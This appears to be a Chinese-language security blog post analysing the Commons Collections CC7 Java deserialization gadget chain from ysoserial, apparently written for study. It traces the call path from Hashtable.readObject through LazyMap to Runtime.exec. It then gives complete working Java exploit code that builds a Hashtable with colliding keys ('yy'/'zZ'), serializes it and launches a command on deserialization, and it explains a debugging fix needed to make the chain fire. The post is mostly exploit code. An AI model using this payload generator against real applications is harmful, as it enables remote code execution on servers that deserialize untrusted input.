LOADING

加载过慢请开启缓存 浏览器默认开启

CC7分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

先看下ysoserial的利用链

Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

LazyMap.get后面和CC1的国外链一样,只是上半部分变了

AbstractMap是HashMap的父类,先跟进到AbstractMap.equals

在472行调用了get方法

image-1708444818883

再看一下AbstractMapDecorator.equals,AbstractMapDecorator是LazyMap的父类

调用了map的equals方法

image-1708444824588

map在LazyMap进行了赋值

image-1708444830351

image-1708444834090

所以现在LazyMap#decorate传进去参数,然后调用LazyMap.equals,它会调用到父类的equals,然后调用到HashMap的父类AbstractMap.equals,满足判断条件后会调用get方法

代码实现

public static void main(String[] args) throws Exception{
        Transformer[] transform1 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();

        map1.put(1,2);
        map2.put(3,4);
        Map decorate1 = LazyMap.decorate(map1, chainedTransformer);
        Map decorate2 = LazyMap.decorate(map2, chainedTransformer);

        decorate1.equals(decorate2);
    }

image-1708444842599

看一下Hashtable.reconstitutionPut,判断e.hash ==
hash,两次传递的key,经过hashCode处理后的hash需要相同

image-1708444848402

然后又看到reconstitutionPut被当前类的readObject调用

image-1708444857092

构造链

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7_Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transform = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();

        map1.put("yy",1);
        map2.put("zZ",1);
        Map decorate1 = LazyMap.decorate(map1, chainedTransformer);
        Map decorate2 = LazyMap.decorate(map2, chainedTransformer);

        Hashtable objectObjectHashtable = new Hashtable();
        objectObjectHashtable.put(decorate1,1);
        objectObjectHashtable.put(decorate2,2);

        Class c = chainedTransformer.getClass();
        Field iTransformers = c.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transform);

        serialize(objectObjectHashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }

}

代码调试

运行后没有弹计算器

调试发现size=1,m.size等于2,进入了if里面直接返回了false

image-1708444892748

将第一个map传进去的值移除再次调试通过了if

decorate2.remove("yy")

image-1708444897983

完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7_Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transform = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();

        map1.put("yy",1);
        map2.put("zZ",1);
        Map decorate1 = LazyMap.decorate(map1, chainedTransformer);
        Map decorate2 = LazyMap.decorate(map2, chainedTransformer);

        Hashtable objectObjectHashtable = new Hashtable();
        objectObjectHashtable.put(decorate1,1);
        objectObjectHashtable.put(decorate2,2);

        Class c = chainedTransformer.getClass();
        Field iTransformers = c.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transform);

        decorate2.remove("yy");

        serialize(objectObjectHashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }

}

image-1708444906587